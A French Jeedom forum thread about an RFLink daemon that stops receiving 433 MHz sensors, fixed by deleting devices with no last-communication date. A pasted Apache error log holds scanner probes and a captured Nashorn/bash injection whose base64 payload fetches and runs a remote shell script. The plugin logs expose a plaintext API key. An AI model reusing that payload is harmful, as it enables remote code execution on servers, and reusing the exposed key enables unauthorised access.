Réception s’arrête de temps en temps

Bonjour,

J’ai migré en Debian 12 mais ma réception Rflink s’arrête de temps en temps.

Voici ma configuration :

Plugin-Rflink:
Dans tous les cas, il faut récupérer le patch pour le plugin RfLink là:
Rflink non fonctionnel : Procédure d’installation
Lien direct : rflink.txt (4,0 Mo) (à renommer en .zip)

Page santé:

Configuration du plugin Rflink:
Heartbeat configuré à 5 messages avec relance du démon
Gestion automatique de démon activée

Seulement voilà de temps en temps : plus aucune réception des capteurs 433MHz (de tous, pas que d’un seul)

Les logs de Rflink_node:

21731|[2026-02-10T10:13:46.340Z]  INFO  Données RFLink reçues: 20;39;Oregon Temp;ID=BB10;TEMP=02c2;BAT=OK;
21732|[2026-02-10T10:13:46.340Z]  INFO  processRFLinkData | type: 20 |trimmedData : 20;39;Oregon Temp;ID=BB10;TEMP=02c2;BAT=OK;
21733|[2026-02-10T10:13:46.340Z]  INFO  processRFLinkData | sendToJeedom
21734|[2026-02-10T10:13:46.449Z]  INFO  Données envoyées à Jeedom:
21735|[2026-02-10T10:13:46.450Z]  INFO  	- url : http://127.0.0.1:80/plugins/rflink/core/api/rflink.php?apikey=iU67TDmW9YqVpEv1LFZx7SMZaCcNFRIuJPMgDRLF5CKQQWmEv4mEpQfl2AV13Q90&messagetype=saveValue&type=rflink
21736|[2026-02-10T10:13:46.450Z]  INFO  	- data : 20;39;Oregon Temp;ID=BB10;TEMP=02c2;BAT=OK;...
21737|[2026-02-10T10:13:46.450Z]  INFO  		-> Resultat requete : 200
21738|[2026-02-10T10:13:50.610Z]  INFO  Données RFLink reçues: 20;3A;OWL_CM180;ID=003C;WATT=0293;KWATT=0290e22b;
21739|[2026-02-10T10:13:50.610Z]  INFO  processRFLinkData | type: 20 |trimmedData : 20;3A;OWL_CM180;ID=003C;WATT=0293;KWATT=0290e22b;
21740|[2026-02-10T10:13:50.611Z]  INFO  processRFLinkData | sendToJeedom
21741|[2026-02-10T10:13:50.714Z]  INFO  Données envoyées à Jeedom:
21742|[2026-02-10T10:13:50.714Z]  INFO  	- url : http://127.0.0.1:80/plugins/rflink/core/api/rflink.php?apikey=iU67TDmW9YqVpEv1LFZx7SMZaCcNFRIuJPMgDRLF5CKQQWmEv4mEpQfl2AV13Q90&messagetype=saveValue&type=rflink
21743|[2026-02-10T10:13:50.714Z]  INFO  	- data : 20;3A;OWL_CM180;ID=003C;WATT=0293;KWATT=0290e22b;...
21744|[2026-02-10T10:13:50.714Z]  INFO  		-> Resultat requete : 200
21745|[2026-02-10T10:13:56.605Z] [WARN] Connexion série fermée

Normalement, toutes les conditions semblent être réunies pour que le démon soit relancé
Ben non, pas de relance du démon

Et si je clique sur « Re-démarrer » le démon dans la page de config du démon Rflink

21746|[2026-02-10T10:51:13.590Z]  INFO  Arrêt du service...
21747|[2026-02-10T10:51:15.526Z]  INFO  === Démarrage du service RFLink ===
21748|[2026-02-10T10:51:15.536Z]  INFO  Configuration: Port=8020, Gateway=/dev/ttyUSB0, Mode=Série
21749|[2026-02-10T10:51:15.550Z]  INFO  Tentative de connexion série sur /dev/ttyUSB0
21750|[2026-02-10T10:51:15.562Z]  INFO  Service RFLink initialisé
21751|[2026-02-10T10:51:15.600Z]  INFO  Serveur socket démarré sur le port 8020
21752|[2026-02-10T10:51:15.605Z]  INFO  Connexion série établie avec succès
21753|[2026-02-10T10:51:16.494Z]  INFO  Données RFLink reçues: 20;00;Nodo RadioFrequencyLink - RFLink Gateway V1.1 - R48;
21754|[2026-02-10T10:51:16.495Z]  INFO  processRFLinkData | type: 20 |trimmedData : 20;00;Nodo RadioFrequencyLink - RFLink Gateway V1.1 - R48;
21755|[2026-02-10T10:51:16.498Z]  INFO  processRFLinkData | sendToJeedom
21756|[2026-02-10T10:51:16.615Z]  INFO  Commande envoyée (série): 10;VERSION;
21757|[2026-02-10T10:51:16.616Z]  INFO  Commande envoyée (série): 10;STATUS;
21758|[2026-02-10T10:51:16.658Z]  INFO  Données envoyées à Jeedom:
21759|[2026-02-10T10:51:16.659Z]  INFO  	- url : http://127.0.0.1:80/plugins/rflink/core/api/rflink.php?apikey=iU67TDmW9YqVpEv1LFZx7SMZaCcNFRIuJPMgDRLF5CKQQWmEv4mEpQfl2AV13Q90&messagetype=saveValue&type=rflink
21760|[2026-02-10T10:51:16.659Z]  INFO  	- data : 20;00;Nodo RadioFrequencyLink - RFLink Gateway V1....
21761|[2026-02-10T10:51:16.659Z]  INFO  		-> Resultat requete : 200
21762|[2026-02-10T10:51:16.696Z]  INFO  Données RFLink reçues: 20;01;VER=1.1;REV=48;BUILD=04;
21763|[2026-02-10T10:51:16.697Z]  INFO  processRFLinkData | type: 20 |trimmedData : 20;01;VER=1.1;REV=48;BUILD=04;
21764|[2026-02-10T10:51:16.697Z]  INFO  processRFLinkData | sendToJeedom
21765|[2026-02-10T10:51:16.721Z]  INFO  Données RFLink reçues: 20;02;STATUS;setRF433=ON;setNodoNRF=OFF;setMilight=OFF;setLivingColors=OFF;setAnsluta=OFF;setGPIO=OFF;setBLE=OFF;setMysensors=OFF;
21766|[2026-02-10T10:51:16.722Z]  INFO  processRFLinkData | type: 20 |trimmedData : 20;02;STATUS;setRF433=ON;setNodoNRF=OFF;setMilight=OFF;setLivingColors=OFF;setAnsluta=OFF;setGPIO=OFF;setBLE=OFF;setMysensors=OFF;
21767|[2026-02-10T10:51:16.722Z]  INFO  processRFLinkData | sendToJeedom
21768|[2026-02-10T10:51:16.745Z]  INFO  Données envoyées à Jeedom:
2

Attendre que le problème se produise, c’est long.

  • Alors un moyen simple : Débrancher et rebrancher le câble USB
  • Log dmesg
[825358.358638] ch341-uart ttyUSB0: ch341-uart converter now disconnected from ttyUSB0
[825358.358797] ch341 1-1.5:1.0: device disconnected
[825362.957546] usb 1-1.5: new full-speed USB device number 10 using dwc_otg
[825363.060591] usb 1-1.5: New USB device found, idVendor=1a86, idProduct=7523, bcdDevice= 2.64
[825363.060634] usb 1-1.5: New USB device strings: Mfr=0, Product=2, SerialNumber=0
[825363.060650] usb 1-1.5: Product: USB Serial
[825363.061633] ch341 1-1.5:1.0: ch341-uart converter detected
[825363.071980] usb 1-1.5: ch341-uart converter now attached to ttyUSB0
  • Les communications s’arrêtent
  • Et elles ne reprennent pas

Je n’ai pas trouvé de solution à ce problème (une vrai, pas de bidouille du style je relance de temps en temps)

Merci d’avance

un log en mode debug du plugin serait peut etre plus parlant…

y a -t-il d’autres trucs usb connectés ?
connecté en direct ou sur un hub usb alimenté ?

Bonjour,

Sur le bus Usb il y a aussi un dongle Zwave Aoetec Gen 5
Mais ce même hardware fonctionnait correctement avec Raspbian 10 Buster avec que je fasse la migration
C’est comme si:

  • le heartbeat ne fonctionnait pas ou
  • comme une fois le patch appliqué, le core ne surveillait plus le plugin

Normalement il laisse une trace dans le log du plugin quand il le redémarre.

La date de dernière communication se met bien à jour sur les équipements ?

votre post c’est de savoir pourquoi le plugin ne fonctionne pas ou pourquoi le core n’a (d’après vous) pas executé le heartbeat?
Car ca change la catégorie et tag du post ainsi que les axes de recherches…

Concernant le heartbeat, je pense que vous avez mal compris son fonctionnement: le core ne surveille pas si le plugin fait bien son job et s’il et toujours « sain »; il surveille uniquement si au moins une commande de au moins un équipement du plugin a été mis à jour dans l’interval donné.
Donc si le plugin met à jour d’autres infos même lorsque le démon ne fonctionne plus ou mal, ce sera considéré comme valide et aucun redémarrage ne sera fait.
Je doute fort qu’il y ait un problème à ce niveau (car ce serait un problème global et pas que pour ce plugin), autrement dit, vous être probablement dans ce cas (le plugin a réellement mis à jour certaines commandes)

Donc vous devriez vous concentrer sur « pourquoi le démon se plante/ne fonctionne pas/plus » et pas sur « pourquoi le core ne redémarre pas »

Et moi je pense que ce hard passé en debian 12 consomme plus et qu’il est possible que votr e port usb ne soit plus suffisamment alimenté.

Bonjour,

Je me suis peut être mal exprimé :

  • le dernier log est le warning de communication
  • après cela plus aucun de mes équipements 433mHz ne se met a jour

Si le core se base sur eux …

Mais il y a eu le patch …
J’ai suivi la procedure décrite dans le message pour appliquer le patch

Aprés je ne sais pas ce que ce path modifie
Je vais voir si les logs du plugin en debug apporte quelque chose

le core ne se base pas sur les logs
Vérifiez la date de dernière communication sur chaque équipement comme déjà dit plus haut :wink:

Alors j’ai fait un nouveau test avec un débranchement et rebranchement à 15h41

Rflink log:

30358|[2026-02-10T14:40:56.494Z]  INFO  processRFLinkData | sendToJeedom
30359|[2026-02-10T14:40:56.608Z]  INFO  Données envoyées à Jeedom:
30360|[2026-02-10T14:40:56.608Z]  INFO  	- url : http://127.0.0.1:80/plugins/rflink/core/api/rflink.php?apikey=iU67TDmW9YqVpEv1LFZx7SMZaCcNFRIuJPMgDRLF5CKQQWmEv4mEpQfl2AV13Q90&messagetype=saveValue&type=rflink
30361|[2026-02-10T14:40:56.609Z]  INFO  	- data : 20;CD;Oregon BTH;ID=5A01;TEMP=00bd;HUM=66;HSTATUS=...
30362|[2026-02-10T14:40:56.609Z]  INFO  		-> Resultat requete : 200
30363|[2026-02-10T14:41:10.312Z] [WARN] Connexion série fermée

Je n’ai pas trouvé d’écran avec un onglet ‹ Informations › comme indiqué plus haut mais seulement l’écran Rflink Santé ou j’ai une date de communication avec les équipements:

Il est 16h00 et plus rien ne bouge. Je ne comprends pas.
P.S. le démon est toujours à Statut OK en vert

ce n’est pas cet écran qu’il faut regarder, le core n’utilisera jamais ces infos et je ne sais pas à quoi correspond la colonne « Dernière communication » visible ici (je ne connais pas le plugin)

la date de dernière communication gérée par le core est visible dans l’écran « config avancée » de l’équipement

Bonjour,

J’ai bien trouvé dans plusieurs post comme quoi:

Justement j’explique sur plusieurs posts la même chose déjà: il y a d’une part l’info géré par le core sur toutes les commandes de tous les équipements …

Mais je n’ai surement pas assez cherché, mais je n’ai pas trouvé ou était visualisé cette date ?

Le plugin Rflink de dispose pas de Bouton ‹ Configuration Avancée › .
Comment visualiser cette information ?

Merci d’avance

C’est bon j’ai trouvé:

Bon je vous dispense de toutes les copies d’écran pour tous les équipements, en voici un:

La date n’est plus actualisée pour tous les équipements

Seule chose peut être c’est que 4 ne communiquent pas et donc n’ont pas de date de dernière communication …

Tu es certain que c’est sur TOUS les équipements ?

Normalement le core redémarre le daemon si il n’y a pas au moins 1 équipement qui à une date de dernière communication de moins de X minutes (le seuil paramétré).

Perso 5 minutes me parait un seuil un peu faible mais bon je ne connais pas le rflink …

Mais bon comme l’a dit Mips, tu as deux problèmes distincts :

  • le daemon plante de temps en temps
  • le core ne redémarre pas le daemon

Re,

Je les ai tous fait, ils sont tous listés dans Rflink Santé
Voici le tableau récapitulatif (Voilà avec le format code : ça fait un tableau):

|  Nom                                          | Dernière communication|
| Renkforce E_TA_00c5                           | Pas de date           |
| Oregon BTH_5A00                               | 2026-02-10 15:40:33   |
| Oregon Alarme_State DD10                      | 2026-02-10 15:40:00   |
| Oregon T_Air_CC40 - Température Air Injecté   | 2026-02-10 15:40:03   |
| Oregon T_Dep_BB10 - Chaudière Départ          | 2026-02-10 15:40:51   |
| Oregon T_Ret_BB20 - Chaudière Retour          | 2026-02-10 15:39:09   |
| Oregon T_Tuile_CC30 - Température Sous Tuiles | 2026-02-10 15:33:45   |
| OWL_CM180_003C                                | 2026-02-10 15:40:13   |
| Firstline_00c1                                | Pas de date           |
| Oregon BTH_5A01                               | 2026-02-10 15:40:56   |
| X10Sensor_090205                              | 2026-02-10 15:40:47   |
| X10_090044                                    | Pas de date           |
| Xiron_4501                                    | Pas de date           |

Et quand ça s’arrête, c’est définitif, il faut relance manuellement le démon:

Tu as quelque chose dans le log http.error ?

Re,

Oui, mais bon le port est ouvert vers l’extérieur (je sais ce n’est pas prudent)

0246|[Sun Feb 08 23:24:42.148314 2026] [access_compat:error] [pid 32103:tid 32103] [client 172.105.69.26:37692] AH01797: client denied by server configuration: /var/www/html/api-description
0247|[Sun Feb 08 23:24:42.151426 2026] [access_compat:error] [pid 19261:tid 19261] [client 172.105.69.26:37708] AH01797: client denied by server configuration: /var/www/html/monitor
0248|[Sun Feb 08 23:24:42.151419 2026] [access_compat:error] [pid 14833:tid 14833] [client 172.105.69.26:37764] AH01797: client denied by server configuration: /var/www/html/sys
0249|[Sun Feb 08 23:24:42.151419 2026] [access_compat:error] [pid 26364:tid 26364] [client 172.105.69.26:37788] AH01797: client denied by server configuration: /var/www/html/v2
0250|[Sun Feb 08 23:24:42.151421 2026] [access_compat:error] [pid 5720:tid 5720] [client 172.105.69.26:37732] AH01797: client denied by server configuration: /var/www/html/ignite
0251|[Sun Feb 08 23:24:42.154653 2026] [access_compat:error] [pid 8208:tid 8208] [client 172.105.69.26:37780] AH01797: client denied by server configuration: /var/www/html/cgi-bin
0252|[Sun Feb 08 23:24:42.378836 2026] [access_compat:error] [pid 32001:tid 32001] [client 172.105.69.26:37790] AH01797: client denied by server configuration: /var/www/html/main.aspx
0253|[Sun Feb 08 23:24:42.392008 2026] [access_compat:error] [pid 19261:tid 19261] [client 172.105.69.26:56508] AH01797: client denied by server configuration: /var/www/html/ScadaBR
0254|[Sun Feb 08 23:24:42.392008 2026] [access_compat:error] [pid 14833:tid 14833] [client 172.105.69.26:56514] AH01797: client denied by server configuration: /var/www/html/cgi-bin
0255|[Sun Feb 08 23:24:42.392007 2026] [access_compat:error] [pid 17318:tid 17318] [client 172.105.69.26:56530] AH01797: client denied by server configuration: /var/www/html/help
0256|[Sun Feb 08 23:24:42.392007 2026] [access_compat:error] [pid 5720:tid 5720] [client 172.105.69.26:56566] AH01797: client denied by server configuration: /var/www/html/nmc
0257|[Sun Feb 08 23:24:42.395897 2026] [access_compat:error] [pid 14795:tid 14795] [client 172.105.69.26:56552] AH01797: client denied by server configuration: /var/www/html/api
0258|[Sun Feb 08 23:24:42.395896 2026] [access_compat:error] [pid 32103:tid 32103] [client 172.105.69.26:56520] AH01797: client denied by server configuration: /var/www/html/api
0259|[Sun Feb 08 23:24:42.396326 2026] [access_compat:error] [pid 26387:tid 26387] [client 172.105.69.26:56492] AH01797: client denied by server configuration: /var/www/html/api
0260|[Sun Feb 08 23:24:42.509358 2026] [access_compat:error] [pid 8208:tid 8208] [client 172.105.69.26:56570] AH01797: client denied by server configuration: /var/www/html/download
0261|[Sun Feb 08 23:24:42.509394 2026] [access_compat:error] [pid 26364:tid 26364] [client 172.105.69.26:56590] AH01797: client denied by server configuration: /var/www/html/admin.pl
0262|[Sun Feb 08 23:24:42.510115 2026] [access_compat:error] [pid 32001:tid 32001] [client 172.105.69.26:56578] AH01797: client denied by server configuration: /var/www/html/webpages
0263|[Sun Feb 08 23:24:42.618272 2026] [access_compat:error] [pid 19261:tid 19261] [client 172.105.69.26:56546] AH01797: client denied by server configuration: /var/www/html/browser
0264|[Sun Feb 08 23:24:42.643324 2026] [access_compat:error] [pid 14833:tid 14833] [client 172.105.69.26:56642] AH01797: client denied by server configuration: /var/www/html/sms_mp
0265|[Sun Feb 08 23:24:42.643325 2026] [access_compat:error] [pid 26387:tid 26387] [client 172.105.69.26:56600] AH01797: client denied by server configuration: /var/www/html/remote
0266|[Sun Feb 08 23:24:42.643325 2026] [access_compat:error] [pid 14795:tid 14795] [client 172.105.69.26:56624] AH01797: client denied by server configuration: /var/www/html/_matrix
0267|[Sun Feb 08 23:24:42.646791 2026] [access_compat:error] [pid 17318:tid 17318] [client 172.105.69.26:56630] AH01797: client denied by server configuration: /var/www/html/admin
0268|[Sun Feb 08 23:24:42.646795 2026] [access_compat:error] [pid 5720:tid 5720] [client 172.105.69.26:56612] AH01797: client denied by server configuration: /var/www/html/rest
0269|[Sun Feb 08 23:24:42.861090 2026] [access_compat:error] [pid 8208:tid 8208] [client 172.105.69.26:56672] AH01797: client denied by server configuration: /var/www/html/menu.shtml
0270|[Sun Feb 08 23:24:42.985801 2026] [access_compat:error] [pid 19261:tid 19261] [client 172.105.69.26:56692] AH01797: client denied by server configuration: /var/www/html/default.jsa
0271|[Sun Feb 08 23:24:43.030202 2026] [php:error] [pid 26387:tid 26387] [client 172.105.69.26:56710] script '/var/www/html/admin.php' not found or unable to stat
0272|[Sun Feb 08 23:24:43.077866 2026] [access_compat:error] [pid 32103:tid 32103] [client 172.105.69.26:56712] AH01797: client denied by server configuration: /var/www/html/index.aspx
0273|[Sun Feb 08 23:24:43.162479 2026] [php:error] [pid 5720:tid 5720] [client 172.105.69.26:56724] script '/var/www/html/base.php' not found or unable to stat
0274|[Sun Feb 08 23:24:43.215216 2026] [access_compat:error] [pid 26364:tid 26364] [client 172.105.69.26:56732] AH01797: client denied by server configuration: /var/www/html/index.jsa
0275|[Sun Feb 08 23:24:43.264476 2026] [php:error] [pid 14795:tid 14795] [client 172.105.69.26:56734] script '/var/www/html/localstart.php' not found or unable to stat
0276|[Sun Feb 08 23:24:43.312686 2026] [access_compat:error] [pid 17318:tid 17318] [client 172.105.69.26:56740] AH01797: client denied by server configuration: /var/www/html/home.jhtml
0277|[Sun Feb 08 23:24:43.453090 2026] [access_compat:error] [pid 14833:tid 14833] [client 172.105.69.26:56746] AH01797: client denied by server configuration: /var/www/html/base.jhtml
0278|[Sun Feb 08 23:24:43.712364 2026] [access_compat:error] [pid 32001:tid 32001] [client 172.105.69.26:56770] AH01797: client denied by server configuration: /var/www/html/index.asp
0279|[Sun Feb 08 23:24:43.858796 2026] [access_compat:error] [pid 8208:tid 8208] [client 172.105.69.26:56788] AH01797: client denied by server configuration: /var/www/html/index.jhtml
0280|[Sun Feb 08 23:24:43.983177 2026] [php:error] [pid 19261:tid 19261] [client 172.105.69.26:56794] script '/var/www/html/menu.php' not found or unable to stat
0281|[Sun Feb 08 23:24:44.179966 2026] [access_compat:error] [pid 26387:tid 26387] [client 172.105.69.26:56816] AH01797: client denied by server configuration: /var/www/html/main.cfm
0282|[Mon Feb 09 06:04:14.740941 2026] [access_compat:error] [pid 17318:tid 17318] [client 206.168.34.61:8888] AH01797: client denied by server configuration: /var/www/html/51tllm08pdh8a6k
0283|[Mon Feb 09 06:08:49.225632 2026] [access_compat:error] [pid 32103:tid 32103] [client 206.168.34.50:24466] AH01797: client denied by server configuration: /var/www/html/wiki
0284|[Mon Feb 09 14:30:29.203633 2026] [php:error] [pid 19261:tid 19261] [client 127.0.0.1:56442] PHP Fatal error:  Uncaught Error: Non-static method rflink::setRflinkStatus() cannot be called statically in /var/www/html/plugins/rflink/core/class/rflink.class.php:371\nStack trace:\n#0 /var/www/html/plugins/rflink/core/api/rflink.php(28): rflink::receiveData()\n#1 {main}\n  thrown in /var/www/html/plugins/rflink/core/class/rflink.class.php on line 371
0285|[Mon Feb 09 14:30:30.821779 2026] [php:error] [pid 8208:tid 8208] [client 127.0.0.1:56428] PHP Fatal error:  Uncaught Error: Non-static method rflink::setRflinkStatus() cannot be called statically in /var/www/html/plugins/rflink/core/class/rflink.class.php:371\nStack trace:\n#0 /var/www/html/plugins/rflink/core/api/rflink.php(28): rflink::receiveData()\n#1 {main}\n  thrown in /var/www/html/plugins/rflink/core/class/rflink.class.php on line 371
0286|[Tue Feb 10 06:55:34.075973 2026] [access_compat:error] [pid 29276:tid 29276] [client 206.168.34.125:36446] AH01797: client denied by server configuration: /var/www/html/zpjklqfpp6y_hfznwz
0287|[Tue Feb 10 07:39:33.455418 2026] [access_compat:error] [pid 14833:tid 14833] [client 152.32.245.44:35022] AH01797: client denied by server configuration: /var/www/html/sitemap.xml
0288|[Tue Feb 10 07:39:37.630995 2026] [access_compat:error] [pid 32181:tid 32181] [client 152.32.245.44:35090] AH01797: client denied by server configuration: /var/www/html/config.json
0289|[Tue Feb 10 11:51:16.753202 2026] [php:error] [pid 6577:tid 6577] [client 127.0.0.1:60170] PHP Fatal error:  Uncaught Error: Non-static method rflink::setRflinkStatus() cannot be called statically in /var/www/html/plugins/rflink/core/class/rflink.class.php:371\nStack trace:\n#0 /var/www/html/plugins/rflink/core/api/rflink.php(28): rflink::receiveData()\n#1 {main}\n  thrown in /var/www/html/plugins/rflink/core/class/rflink.class.php on line 371
0290|[Tue Feb 10 11:51:19.151787 2026] [php:error] [pid 30264:tid 30264] [client 127.0.0.1:60168] PHP Fatal error:  Uncaught Error: Non-static method rflink::setRflinkStatus() cannot be called statically in /var/www/html/plugins/rflink/core/class/rflink.class.php:371\nStack trace:\n#0 /var/www/html/plugins/rflink/core/api/rflink.php(28): rflink::receiveData()\n#1 {main}\n  thrown in /var/www/html/plugins/rflink/core/class/rflink.class.php on line 371
0291|[Tue Feb 10 13:10:01.030635 2026] [core:error] [pid 32180:tid 32180] (36)File name too long: [client 111.229.70.54:55998] AH00036: access to /${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','echo dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw+Ii9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA+JjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJsIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai93LnNofGJhc2gK|base64 -d|bash').start()")}/ failed (filesystem path '/var/www/html/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','echo dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw+Ii9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA+JjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJsIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai93LnNofGJhc2gK|base64 -d|bash').start()")}')

Peut-être les erreurs Uncaught Error: Non-static method rflink::setRflinkStatus() peuvent être intéressantes mais je n’y connais rien …

si un équipement n’a pas de date de dernière communication, le core considère que c’est « maintenant » et donc ca sera toujours « valide » pour le heartbeat; voila pourquoi il ne redémarre pas le démon tout seul.

Pourquoi n’y a-t-il pas de date? ces équipements n’existent plus?

1 « J'aime »

Bonjour,

Il n’existent plus. C’était pour des tests.
Je vais les supprimer et faire un nouveau test.

Merci pour cette réponse.
Michel

Bonjour,

Le problème venait bien des 4 équipements déclarés qui n’avait pas de date de dernière communication (visualisation de cette date en cliquant sur l’équipement (pas sur Rflink)) puis sur le bouton ‹ Configuration Avancée ›) qui faisait croire au core que la communication fonctionnait encore.

1 - J’ai supprimé ces 4 équipements Rflink inutiles.
2 - J’ai simulé une perte de connexion en débranchant et rebranchant le câble usb du Rflink
3 - Au bout d’environ 7 minutes, le démon est bien relancé automatiquement

La configuration du Heartbeat fonctionne correctement.

Ci-dessous les logs obtenus:

16467|[2026-02-12T08:02:21.226Z] [WARN] Connexion série fermée
16468|[2026-02-12T08:10:07.518Z]  INFO  Arrêt du service...
16469|[2026-02-12T08:10:09.481Z]  INFO  === Démarrage du service RFLink ===
16470|[2026-02-12T08:10:09.491Z]  INFO  Configuration: Port=8020, Gateway=/dev/ttyUSB0, Mode=Série
16471|[2026-02-12T08:10:09.505Z]  INFO  Tentative de connexion série sur /dev/ttyUSB0
16472|[2026-02-12T08:10:09.515Z]  INFO  Service RFLink initialisé
16473|[2026-02-12T08:10:09.553Z]  INFO  Serveur socket démarré sur le port 8020
16474|[2026-02-12T08:10:09.559Z]  INFO  Connexion série établie avec succès
16475|[2026-02-12T08:10:10.447Z]  INFO  Données RFLink reçues: 20;00;Nodo RadioFrequencyLink - RFLink Gateway V1.1 - R48;
16476|[2026-02-12T08:10:10.448Z]  INFO  processRFLinkData | type: 20 |trimmedData : 20;00;Nodo RadioFrequencyLink - RFLink Gateway V1.1 - R48;
16477|[2026-02-12T08:10:10.451Z]  INFO  processRFLinkData | sendToJeedom
16478|[2026-02-12T08:10:10.581Z]  INFO  Commande envoyée (série): 10;VERSION;
16479|[2026-02-12T08:10:10.582Z]  INFO  Commande envoyée (série): 10;STATUS;
16480|[2026-02-12T08:10:10.646Z]  INFO  Données envoyées à Jeedom:
16481|[2026-02-12T08:10:10.647Z]  INFO  	- url : http://127.0.0.1:80/plugins/rflink/core/api/rflink.php?apikey=iU67TDmW9YqVpEv1LFZx7SMZaCcNFRIuJPMgDRLF5CKQQWmEv4mEpQfl2AV13Q90&messagetype=saveValue&type=rflink
16482|[2026-02-12T08:10:10.647Z]  INFO  	- data : 20;00;Nodo RadioFrequencyLink - RFLink Gateway V1....
16483|[2026-02-12T08:10:10.647Z]  INFO  		-> Resultat requete : 200
16484|[2026-02-12T08:10:10.714Z]  INFO  Données RFLink reçues: 20;01;VER=1.1;REV=48;BUILD=04;
16485|[2026-02-12T08:10:10.715Z]  INFO  processRFLinkData | type: 20 |trimmedData : 20;01;VER=1.1;REV=48;BUILD=04;
16486|[2026-02-12T08:10:10.715Z]  INFO  processRFLinkData | sendToJeedom
16487|[2026-02-12T08:10:10.741Z]  INFO  Données RFLink reçues: 20;02;STATUS;setRF433=ON;setNodoNRF=OFF;setMilight=OFF;setLivingColors=OFF;setAnsluta=OFF;setGPIO=OFF;setBLE=OFF;setMysensors=OFF;
16488|[2026-02-12T08:10:10.742Z]  INFO  processRFLinkData | type: 20 |trimmedData : 20;02;STATUS;setRF433=ON;setNodoNRF=OFF;setMilight=OFF;setLivingColors=OFF;setAnsluta=OFF;setGPIO=OFF;setBLE=OFF;setMysensors=OFF;
16489|[2026-02-12T08:10:10.742Z]  INFO  processRFLinkData | sendToJeedom
16490|[2026-02-12T08:10:10.777Z]  INFO  Données envoyées à Jeedom:
16491|[2026-02-12T08:10:10.777Z]  INFO  	- url : http://127.0.0.1:80/plugins/rflink/core/api/rflink.php?apikey=iU67TDmW9YqVpEv1LFZx7SMZaCcNFRIuJPMgDRLF5CKQQWmEv4mEpQfl2AV13Q90&messagetype=saveValue&type=rflink
16492|[2026-02-12T08:10:10.778Z]  INFO  	- data : 20;01;VER=1.1;REV=48;BUILD=04;...
16493|[2026-02-12T08:10:10.778Z]  INFO  		-> Resultat requete : 200

Merci à tous pour cette aide

Ce sujet a été automatiquement fermé après 24 heures suivant le dernier commentaire. Aucune réponse n’est permise dorénavant.